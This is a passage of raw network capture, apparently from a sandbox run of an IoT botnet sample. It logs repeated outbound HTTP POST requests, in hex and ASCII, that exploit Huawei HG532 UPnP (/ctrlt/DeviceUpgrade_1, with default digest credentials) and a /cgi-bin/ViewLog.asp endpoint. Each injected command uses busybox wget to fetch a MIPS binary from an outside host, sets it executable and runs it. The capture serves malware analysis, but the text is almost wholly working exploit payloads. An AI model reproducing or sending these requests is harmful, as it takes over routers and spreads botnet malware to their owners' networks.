                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:27.354757071 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:47.834232092 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:26.745038986 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                298192.168.2.155477685.69.24.538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:10.218185902 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:13.275015116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.418925047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.450642109 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:56.026010990 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.176521063 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                299192.168.2.153735494.121.73.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:10.628943920 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                300192.168.2.154222894.120.32.1698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:10.631215096 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                301192.168.2.154235431.136.192.1668080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:10.811624050 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:11.387106895 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:12.507054090 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:14.811100960 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.418910980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:28.378632069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.834229946 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:24.697097063 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                302192.168.2.156005231.136.4.618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:10.813774109 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:11.387100935 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
